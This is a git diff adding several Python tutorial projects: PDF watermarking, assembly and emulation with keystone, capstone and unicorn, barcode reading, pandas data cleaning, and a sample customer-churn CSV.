pagesize=PAGESIZE) + # you can also add image instead of text + # c.drawImage("logo.png", X, Y, 160, 160) + # Set the size and type of the font + c.setFont(FONTNAME, FONTSIZE) + # Set the color + if isinstance(COLOR, tuple): + color = (c/255 for c in COLOR) + c.setFillColorRGB(*color) + else: + c.setFillColor(COLOR) + # Rotate according to the configured parameter + c.rotate(ROTATION_ANGLE) + # Position according to the configured parameter + c.drawString(X, Y, wm_text) + c.save() + return True, output_buffer + return False, None + + +def save_watermark(wm_buffer, output_file): + """ + Saves the generated watermark template to disk + """ + with open(output_file, mode='wb') as f: + f.write(wm_buffer.getbuffer()) + f.close() + return True + + +def watermark_pdf(input_file: str, wm_text: str, pages: Tuple = None): + """ + Adds watermark to a pdf file. + """ + result, wm_buffer = create_watermark(wm_text) + if result: + wm_reader = PdfFileReader(wm_buffer) + pdf_reader = PdfFileReader(open(input_file, 'rb'), strict=False) + pdf_writer = PdfFileWriter() + try: + for page in range(pdf_reader.getNumPages()): + # If required to watermark specific pages not all the document pages + if pages: + if str(page) not in pages: + continue + page = pdf_reader.getPage(page) + page.mergePage(wm_reader.getPage(0)) + pdf_writer.addPage(page) + except Exception as e: + print("Exception = ", e) + return False, None, None + + return True, pdf_reader, pdf_writer + + +def unwatermark_pdf(input_file: str, wm_text: str, pages: Tuple = None): + """ + Removes watermark from the pdf file. + """ + pdf_reader = PdfFileReader(open(input_file, 'rb'), strict=False) + pdf_writer = PdfFileWriter() + for page in range(pdf_reader.getNumPages()): + # If required for specific pages + if pages: + if str(page) not in pages: + continue + page = pdf_reader.getPage(page) + # Get the page content + content_object = page["/Contents"].getObject() + content = ContentStream(content_object, pdf_reader) + # Loop through all the elements page elements + for operands, operator in content.operations: + # Checks the TJ operator and replaces the corresponding string operand (Watermark text) with '' + if operator == b_("Tj"): + text = operands[0] + if isinstance(text, str) and text.startswith(wm_text): + operands[0] = TextStringObject('') + page.__setitem__(NameObject('/Contents'), content) + pdf_writer.addPage(page) + return True, pdf_reader, pdf_writer + + +def watermark_unwatermark_file(**kwargs): + input_file = kwargs.get('input_file') + wm_text = kwargs.get('wm_text') + # watermark -> Watermark + # unwatermark -> Unwatermark + action = kwargs.get('action') + # HDD -> Temporary files are saved on the Hard Disk Drive and then deleted + # RAM -> Temporary files are saved in memory and then deleted. + mode = kwargs.get('mode') + pages = kwargs.get('pages') + temporary, output_file = get_output_file( + input_file, kwargs.get('output_file')) + if action == "watermark": + result, pdf_reader, pdf_writer = watermark_pdf( + input_file=input_file, wm_text=wm_text, pages=pages) + elif action == "unwatermark": + result, pdf_reader, pdf_writer = unwatermark_pdf( + input_file=input_file, wm_text=wm_text, pages=pages) + # Completed successfully + if result: + # Generate to memory + if mode == "RAM": + output_buffer = BytesIO() + pdf_writer.write(output_buffer) + pdf_reader.stream.close() + # No need to create a temporary file in RAM Mode + if temporary: + output_file = input_file + with open(output_file, mode='wb') as f: + f.write(output_buffer.getbuffer()) + f.close() + elif mode == "HDD": + # Generate to a new file on the hard disk + with open(output_file, 'wb') as pdf_output_file: + pdf_writer.write(pdf_output_file) + pdf_output_file.close() + + pdf_reader.stream.close() + if temporary: + if os.path.isfile(input_file): + os.replace(output_file, input_file) + output_file = input_file + + +def watermark_unwatermark_folder(**kwargs): + """ + Watermarks all PDF Files within a specified path + Unwatermarks all PDF Files within a specified path + """ + input_folder = kwargs.get('input_folder') + wm_text = kwargs.get('wm_text') + # Run in recursive mode + recursive = kwargs.get('recursive') + # watermark -> Watermark + # unwatermark -> Unwatermark + action = kwargs.get('action') + # HDD -> Temporary files are saved on the Hard Disk Drive and then deleted + # RAM -> Temporary files are saved in memory and then deleted. + mode = kwargs.get('mode') + pages = kwargs.get('pages') + # Loop though the files within the input folder. + for foldername, dirs, filenames in os.walk(input_folder): + for filename in filenames: + # Check if pdf file + if not filename.endswith('.pdf'): + continue + # PDF File found + inp_pdf_file = os.path.join(foldername, filename) + print("Processing file:", inp_pdf_file) + watermark_unwatermark_file(input_file=inp_pdf_file, output_file=None, + wm_text=wm_text, action=action, mode=mode, pages=pages) + if not recursive: + break + + +def is_valid_path(path): + """ + Validates the path inputted and checks whether it is a file path or a folder path + """ + if not path: + raise ValueError(f"Invalid Path") + if os.path.isfile(path): + return path + elif os.path.isdir(path): + return path + else: + raise ValueError(f"Invalid Path {path}") + + +def parse_args(): + """ + Get user command line parameters + """ + parser = argparse.ArgumentParser(description="Available Options") + parser.add_argument('-i', '--input_path', dest='input_path', type=is_valid_path, + required=True, help="Enter the path of the file or the folder to process") + parser.add_argument('-a', '--action', dest='action', choices=[ + 'watermark', 'unwatermark'], type=str, default='watermark', + help="Choose whether to watermark or to unwatermark") + parser.add_argument('-m', '--mode', dest='mode', choices=['RAM', 'HDD'], type=str, + default='RAM', help="Choose whether to process on the hard disk drive or in memory") + parser.add_argument('-w', '--watermark_text', dest='watermark_text', + type=str, required=True, help="Enter a valid watermark text") + parser.add_argument('-p', '--pages', dest='pages', type=tuple, + help="Enter the pages to consider e.g.: [2,4]") + path = parser.parse_known_args()[0].input_path + if os.path.isfile(path): + parser.add_argument('-o', '--output_file', dest='output_file', + type=str, help="Enter a valid output file") + if os.path.isdir(path): + parser.add_argument('-r', '--recursive', dest='recursive', default=False, type=lambda x: ( + str(x).lower() in ['true', '1', 'yes']), help="Process Recursively or Non-Recursively") + # To Porse The Command Line Arguments + args = vars(parser.parse_args()) + # To Display The Command Line Arguments + print("## Command Arguments #################################################") + print("\n".join("{}:{}".format(i, j) for i, j in args.items())) + print("######################################################################") + return args + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + args = parse_args() + # If File Path + if os.path.isfile(args['input_path']): + # Extracting File Info + get_info(input_file=args['input_path']) + # Encrypting or Decrypting a File + watermark_unwatermark_file( + input_file=args['input_path'], wm_text=args['watermark_text'], action=args[ + 'action'], mode=args['mode'], output_file=args['output_file'], pages=args['pages'] + ) + # If Folder Path + elif os.path.isdir(args['input_path']): + # Encrypting or Decrypting a Folder + watermark_unwatermark_folder( + input_folder=args['input_path'], wm_text=args['watermark_text'], + action=args['action'], mode=args['mode'], recursive=args['recursive'], pages=args['pages'] + ) diff --git a/general/add-watermark-pdf/requirements.txt b/general/add-watermark-pdf/requirements.txt new file mode 100644 index 00000000..1cb52281 --- /dev/null +++ b/general/add-watermark-pdf/requirements.txt @@ -0,0 +1,2 @@ +PyPDF4==1.27.0 +reportlab==3.5.59 \ No newline at end of file diff --git a/general/assembly-code/README.md b/general/assembly-code/README.md new file mode 100644 index 00000000..298c746f --- /dev/null +++ b/general/assembly-code/README.md @@ -0,0 +1,3 @@ +# [How to Assembly, Disassembly and Emulate Machine Code using Python](https://www.thepythoncode.com/article/arm-x86-64-assembly-disassembly-and-emulation-in-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/assembly-code/arm_assembly.py b/general/assembly-code/arm_assembly.py new file mode 100644 index 00000000..148d1797 --- /dev/null +++ b/general/assembly-code/arm_assembly.py @@ -0,0 +1,56 @@ +# We need to emulate ARM +from unicorn import Uc, UC_ARCH_ARM, UC_MODE_ARM, UcError +# for accessing the R0 and R1 registers +from unicorn.arm_const import UC_ARM_REG_R0, UC_ARM_REG_R1 +# We need to assemble ARM code +from keystone import Ks, KS_ARCH_ARM, KS_MODE_ARM, KsError + + +ARM_CODE = """ +// n is r0, we will pass it from python, ans is r1 +mov r1, 1 // ans = 1 +loop: +cmp r0, 0 // while n >= 0: +mulgt r1, r1, r0 // ans *= n +subgt r0, r0, 1 // n = n - 1 +bgt loop // + // answer is in r1 +""" + +print("Assembling the ARM code") +try: + # initialize the keystone object with the ARM architecture + ks = Ks(KS_ARCH_ARM, KS_MODE_ARM) + # Assemble the ARM code + ARM_BYTECODE, _ = ks.asm(ARM_CODE) + # convert the array of integers into bytes + ARM_BYTECODE = bytes(ARM_BYTECODE) + print(f"Code successfully assembled (length = {len(ARM_BYTECODE)})") + print("ARM bytecode:", ARM_BYTECODE) +except KsError as e: + print("Keystone Error: %s" % e) + exit(1) + + +# memory address where emulation starts +ADDRESS = 0x1000000 + +print("Emulating the ARM code") +try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM_BYTECODE) + # Set the r0 register in the code, let's calculate factorial(5) + mu.reg_write(UC_ARM_REG_R0, 5) + # emulate code in infinite time and unlimited instructions + mu.emu_start(ADDRESS, ADDRESS + len(ARM_BYTECODE)) + # now print out the R0 register + print("Emulation done. Below is the result") + # retrieve the result from the R1 register + r1 = mu.reg_read(UC_ARM_REG_R1) + print(">> R1 = %u" % r1) +except UcError as e: + print("Unicorn Error: %s" % e) \ No newline at end of file diff --git a/general/assembly-code/disassemble_x86-64.py b/general/assembly-code/disassemble_x86-64.py new file mode 100644 index 00000000..00876201 --- /dev/null +++ b/general/assembly-code/disassemble_x86-64.py @@ -0,0 +1,39 @@ +# We need to emulate ARM and x86 code +from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UcError +# for accessing the RAX and RDI registers +from unicorn.x86_const import UC_X86_REG_RDI, UC_X86_REG_RAX +# We need to disassemble x86_64 code +from capstone import Cs, CS_ARCH_X86, CS_MODE_64, CsError + + +X86_MACHINE_CODE = b"\x48\x31\xc0\x48\xff\xc0\x48\x85\xff\x0f\x84\x0d\x00\x00\x00\x48\x99\x48\xf7\xe7\x48\xff\xcf\xe9\xea\xff\xff\xff" + +# memory address where emulation starts +ADDRESS = 0x1000000 + +try: + # Initialize the disassembler in x86 mode + md = Cs(CS_ARCH_X86, CS_MODE_64) + # iterate over each instruction and print it + for instruction in md.disasm(X86_MACHINE_CODE, 0x1000): + print("0x%x:\t%s\t%s" % (instruction.address, instruction.mnemonic, instruction.op_str)) +except CsError as e: + print("Capstone Error: %s" % e) + +try: + # Initialize emulator in x86_64 mode + mu = Uc(UC_ARCH_X86, UC_MODE_64) + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_MACHINE_CODE) + # Set the r0 register in the code to the number of 7 + mu.reg_write(UC_X86_REG_RDI, 7) + # emulate code in infinite time & unlimited instructions + mu.emu_start(ADDRESS, ADDRESS + len(X86_MACHINE_CODE)) + # now print out the R0 register + print("Emulation done. Below is the result") + rax = mu.reg_read(UC_X86_REG_RAX) + print(">>> RAX = %u" % rax) +except UcError as e: + print("Unicorn Error: %s" % e) \ No newline at end of file diff --git a/general/assembly-code/requirements.txt b/general/assembly-code/requirements.txt new file mode 100644 index 00000000..b4832e99 --- /dev/null +++ b/general/assembly-code/requirements.txt @@ -0,0 +1,3 @@ +keystone-engine +capstone +unicorn \ No newline at end of file diff --git a/general/barcode-reader/README.md b/general/barcode-reader/README.md new file mode 100644 index 00000000..673b0953 --- /dev/null +++ b/general/barcode-reader/README.md @@ -0,0 +1,11 @@ +# [How to Make a Barcode Reader in Python](https://www.thepythoncode.com/article/making-a-barcode-scanner-in-python) +To run this: +- `pip3 install -r requirements.txt` +- To detect barcodes of the images in this directory: + ``` + python barcode_reader.py + ``` +- To detect barcodes live using your camera: + ``` + python live_barcode_reader.py + ``` \ No newline at end of file diff --git a/general/barcode-reader/barcode1.png b/general/barcode-reader/barcode1.png new file mode 100644 index 00000000..e405bfce Binary files /dev/null and b/general/barcode-reader/barcode1.png differ diff --git a/general/barcode-reader/barcode2.png b/general/barcode-reader/barcode2.png new file mode 100644 index 00000000..427c84a4 Binary files /dev/null and b/general/barcode-reader/barcode2.png differ diff --git a/general/barcode-reader/barcode3.png b/general/barcode-reader/barcode3.png new file mode 100644 index 00000000..e8269334 Binary files /dev/null and b/general/barcode-reader/barcode3.png differ diff --git a/general/barcode-reader/barcode_reader.py b/general/barcode-reader/barcode_reader.py new file mode 100644 index 00000000..7007ad31 --- /dev/null +++ b/general/barcode-reader/barcode_reader.py @@ -0,0 +1,45 @@ +from pyzbar import pyzbar +import cv2 + + +def decode(image): + # decodes all barcodes from an image + decoded_objects = pyzbar.decode(image) + for obj in decoded_objects: + # draw the barcode + print("detected barcode:", obj) + image = draw_barcode(obj, image) + # print barcode type & data + print("Type:", obj.type) + print("Data:", obj.data) + print() + + return image + + +def draw_barcode(decoded, image): + # n_points = len(decoded.polygon) + # for i in range(n_points): + # image = cv2.line(image, decoded.polygon[i], decoded.polygon[(i+1) % n_points], color=(0, 255, 0), thickness=5) + # uncomment above and comment below if you want to draw a polygon and not a rectangle + image = cv2.rectangle(image, (decoded.rect.left, decoded.rect.top), + (decoded.rect.left + decoded.rect.width, decoded.rect.top + decoded.rect.height), + color=(0, 255, 0), + thickness=5) + return image + + +if __name__ == "__main__": + from glob import glob + + barcodes = glob("barcode*.png") + for barcode_file in barcodes: + # load the image to opencv + img = cv2.imread(barcode_file) + # decode detected barcodes & get the image + # that is drawn + img = decode(img) + # show the image + cv2.imshow("img", img) + # cv2.imwrite("barcode_detected.png", img) + cv2.waitKey(0) \ No newline at end of file diff --git a/general/barcode-reader/live_barcode_reader.py b/general/barcode-reader/live_barcode_reader.py new file mode 100644 index 00000000..df0e3a48 --- /dev/null +++ b/general/barcode-reader/live_barcode_reader.py @@ -0,0 +1,40 @@ +from pyzbar import pyzbar +import cv2 + + +def draw_barcode(decoded, image): + # n_points = len(decoded.polygon) + # for i in range(n_points): + # image = cv2.line(image, decoded.polygon[i], decoded.polygon[(i+1) % n_points], color=(0, 255, 0), thickness=5) + image = cv2.rectangle(image, (decoded.rect.left, decoded.rect.top), + (decoded.rect.left + decoded.rect.width, decoded.rect.top + decoded.rect.height), + color=(0, 255, 0), + thickness=5) + return image + +def decode(image): + # decodes all barcodes from an image + decoded_objects = pyzbar.decode(image) + for obj in decoded_objects: + # draw the barcode + image = draw_barcode(obj, image) + # print barcode type & data + print("Type:", obj.type) + print("Data:", obj.data) + print() + + return image + + +if __name__ == "__main__": + cap = cv2.VideoCapture(0) + while True: + # read the frame from the camera + _, frame = cap.read() + # decode detected barcodes & get the image + # that is drawn + frame, decoded_objects = decode(frame) + # show the image in the window + cv2.imshow("frame", frame) + if cv2.waitKey(1) == ord("q"): + break \ No newline at end of file diff --git a/general/barcode-reader/requirements.txt b/general/barcode-reader/requirements.txt new file mode 100644 index 00000000..6dfb3a15 --- /dev/null +++ b/general/barcode-reader/requirements.txt @@ -0,0 +1,2 @@ +opencv-python +pyzbar \ No newline at end of file diff --git a/general/calculate-directory-size/get_directory_size.py b/general/calculate-directory-size/get_directory_size.py index a5b2609b..9f62df8b 100644 --- a/general/calculate-directory-size/get_directory_size.py +++ b/general/calculate-directory-size/get_directory_size.py @@ -27,7 +27,10 @@ def get_directory_size(directory): total += entry.stat().st_size elif entry.is_dir(): # if it's a directory, recursively call this function - total += get_directory_size(entry.path) + try: + total += get_directory_size(entry.path) + except FileNotFoundError: + pass except NotADirectoryError: # if `directory` isn't a directory, get the file size then return os.path.getsize(directory) diff --git a/general/data-cleaning-pandas/README.md b/general/data-cleaning-pandas/README.md new file mode 100644 index 00000000..6b246374 --- /dev/null +++ b/general/data-cleaning-pandas/README.md @@ -0,0 +1 @@ +# [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning.py b/general/data-cleaning-pandas/data_cleaning.py new file mode 100644 index 00000000..7e03b3ef --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning.py @@ -0,0 +1,10 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +print(data_frames.head(10)) diff --git a/general/data-cleaning-pandas/data_cleaning2.py b/general/data-cleaning-pandas/data_cleaning2.py new file mode 100644 index 00000000..529cee6d --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning2.py @@ -0,0 +1,10 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +print(data_frames.info()) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning3.py b/general/data-cleaning-pandas/data_cleaning3.py new file mode 100644 index 00000000..1eb637fb --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning3.py @@ -0,0 +1,18 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + +print(data_frames.head(10)) +print(data_frames.info()) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning4.py b/general/data-cleaning-pandas/data_cleaning4.py new file mode 100644 index 00000000..3ca8b4d8 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning4.py @@ -0,0 +1,32 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Capitalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def capitalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = word.capitalize() + +data_frames['street_address'].apply(lambda x: capitalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + +print(data_frames['street_address']) diff --git a/general/data-cleaning-pandas/data_cleaning5.py b/general/data-cleaning-pandas/data_cleaning5.py new file mode 100644 index 00000000..ad8066d4 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning5.py @@ -0,0 +1,41 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + +print(data_frames.head(10)) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning6.py b/general/data-cleaning-pandas/data_cleaning6.py new file mode 100644 index 00000000..91d10af0 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning6.py @@ -0,0 +1,49 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + +print(data_frames.head(10)) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning7.py b/general/data-cleaning-pandas/data_cleaning7.py new file mode 100644 index 00000000..639f0c60 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning7.py @@ -0,0 +1,54 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + +print(data_frames_no_dupes.info()) diff --git a/general/data-cleaning-pandas/data_cleaning8.py b/general/data-cleaning-pandas/data_cleaning8.py new file mode 100644 index 00000000..5fe0b7f5 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning8.py @@ -0,0 +1,60 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + + +# Drop Missing Data +columns_to_check = ['state', 'donation'] +data_frames_no_missing = data_frames_no_dupes.dropna(subset=columns_to_check) + + +print(data_frames_no_missing.head(20)) diff --git a/general/data-cleaning-pandas/data_cleaning9.py b/general/data-cleaning-pandas/data_cleaning9.py new file mode 100644 index 00000000..e61440b7 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning9.py @@ -0,0 +1,59 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + + +# Drop Missing Data +columns_to_check = ['state', 'donation'] +data_frames_no_missing = data_frames_no_dupes.dropna(subset=columns_to_check) + + +print(data_frames_no_missing.head(20)) + + +data_frames_no_missing.to_csv(r'clean_donations_data.csv', index = False) \ No newline at end of file diff --git a/general/data-cleaning-pandas/helpers.py b/general/data-cleaning-pandas/helpers.py new file mode 100644 index 00000000..a65f889f --- /dev/null +++ b/general/data-cleaning-pandas/helpers.py @@ -0,0 +1,71 @@ +import random + +def add_donations(rows): + total_donations = len(rows) + donations = [] + + # create list of random donation values + donations = list_of_donations(total_donations) + + # add donations onto main records + count = 0 + while count < total_donations: + rows[count].append(donations[count]) + count += 1 + + +def create_row_base(): + first_name_options = ['Rosemaria', 'Jodi', 'Alvy', 'Blake', 'Ellis', ''] + last_name_options = ['Roderick', 'Hesbrook', 'Summerton', 'Rappport', 'Alben', ''] + city_options = ['Hialeah', 'Arlington', 'Springfield', 'Carrollton', 'Cambridge', ''] + state_options = ['CT', 'NY', 'VA', 'WA', 'AZ', ''] + + first_name = random.choice(first_name_options) + last_name = random.choice(last_name_options) + street = street_address() + city = random.choice(city_options) + state = random.choice(state_options) + + return [ + first_name, + last_name, + street, + city, + state + ] + + +def list_of_donations(size): + donations = [] + + donation_amt = random_dollar_amt() + for i in range(size): + # randomly change donation value + if random.choice([1, 2, 3, 4, 5]) > 1: + donation_amt = random_dollar_amt() + donations.append(donation_amt) + + return donations + + +def random_dollar_amt(): + dollars = random.randint(-50, 200) + cents = random.randint(0, 99) + return '${}.{}'.format(dollars, cents) + + +def scramble_capitalization(str): + final_str = '' + for letter in str: + final_str += random.choice([letter.upper(), letter.lower()]) + return final_str + + +def street_address(): + num = random.randint(40,1001) + road_name = random.choice(['Western Plank', 'Forest Run', 'Kings', 'Oaktree']) + road_type = random.choice(['Street', 'St', 'Road', 'Rd', '']) + + address = '{} {} {}'.format(num, road_name, road_type) + return address + diff --git a/general/data-cleaning-pandas/requirements.txt b/general/data-cleaning-pandas/requirements.txt new file mode 100644 index 00000000..1411a4a0 --- /dev/null +++ b/general/data-cleaning-pandas/requirements.txt @@ -0,0 +1 @@ +pandas \ No newline at end of file diff --git a/general/data-cleaning-pandas/simulator.py b/general/data-cleaning-pandas/simulator.py new file mode 100644 index 00000000..44927739 --- /dev/null +++ b/general/data-cleaning-pandas/simulator.py @@ -0,0 +1,33 @@ +import csv +import random +import helpers + +def generate_dataset(): + rows = [] + count = 0 + + # generate list of base records: names data + address data + while count < 20: + row_to_add = helpers.create_row_base() + rows.append(row_to_add) + + # randomly add duplicate records + if random.choice([1, 2, 3, 4, 5]) > 2: + rows.append(row_to_add.copy()) + # scramble formatting of street address + rows[-1][2] = helpers.scramble_capitalization(rows[-1][2]) + count += 1 + + # add donation amounts to each record + helpers.add_donations(rows) + + return rows + + +with open('simulated_data.csv', 'w') as f: + f_csv = csv.writer(f) + + # write headers first + f_csv.writerow(['first_name','last_name','street_address', + 'city','state', 'donation']) + f_csv.writerows(generate_dataset()) \ No newline at end of file diff --git a/general/dataframe-to-html/Churn_Modelling.csv b/general/dataframe-to-html/Churn_Modelling.csv new file mode 100644 index 00000000..7a857b1e --- /dev/null +++ b/general/dataframe-to-html/Churn_Modelling.csv @@ -0,0 +1,10001 @@ +RowNumber,CustomerId,Surname,CreditScore,Geography,Gender,Age,Tenure,Balance,NumOfProducts,HasCrCard,IsActiveMember,EstimatedSalary,Exited +1,15634602,Hargrave,619,France,Female,42,2,0,1,1,1,101348.88,1 +2,15647311,Hill,608,Spain,Female,41,1,83807.86,1,0,1,112542.58,0 +3,15619304,Onio,502,France,Female,42,8,159660.8,3,1,0,113931.57,1 +4,15701354,Boni,699,France,Female,39,1,0,2,0,0,93826.63,0 +5,15737888,Mitchell,850,Spain,Female,43,2,125510.82,1,1,1,79084.1,0 +6,15574012,Chu,645,Spain,Male,44,8,113755.78,2,1,0,149756.71,1 +7,15592531,Bartlett,822,France,Male,50,7,0,2,1,1,10062.8,0 +8,15656148,Obinna,376,Germany,Female,29,4,115046.74,4,1,0,119346.88,1 +9,15792365,He,501,France,Male,44,4,142051.07,2,0,1,74940.5,0 +10,15592389,H?,684,France,Male,27,2,134603.88,1,1,1,71725.73,0 +11,15767821,Bearce,528,France,Male,31,6,102016.72,2,0,0,80181.12,0 +12,15737173,Andrews,497,Spain,Male,24,3,0,2,1,0,76390.01,0 +13,15632264,Kay,476,France,Female,34,10,0,2,1,0,26260.98,0 +14,15691483,Chin,549,France,Female,25,5,0,2,0,0,190857.79,0 +15,15600882,Scott,635,Spain,Female,35,7,0,2,1,1,65951.65,0 +16,15643966,Goforth,616,Germany,Male,45,3,143129.41,2,0,1,64327.26,0 +17,15737452,Romeo,653,Germany,Male,58,1,132602.88,1,1,0,5097.67,1 +18,15788218,Henderson,549,Spain,Female,24,9,0,2,1,1,14406.41,0 +19,15661507,Muldrow,587,Spain,Male,45,6,0,1,0,0,158684.81,0 +20,15568982,Hao,726,France,Female,24,6,0,2,1,1,54724.03,0 +21,15577657,McDonald,732,France,Male,41,8,0,2,1,1,170886.17,0 +22,15597945,Dellucci,636,Spain,Female,32,8,0,2,1,0,138555.46,0 +23,15699309,Gerasimov,510,Spain,Female,38,4,0,1,1,0,118913.53,1 